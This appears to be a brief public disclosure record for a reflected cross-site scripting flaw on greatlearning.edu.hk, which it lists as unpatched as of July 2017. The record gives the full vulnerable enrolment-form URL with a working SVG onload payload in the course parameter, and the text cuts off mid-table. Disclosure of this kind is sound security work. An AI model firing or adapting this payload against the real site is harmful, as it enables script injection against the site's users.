greatlearning.edu.hk XSS vulnerability

Vulnerable URL: http://www.greatlearning.edu.hk/enrollform.php?course=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1632630 Google...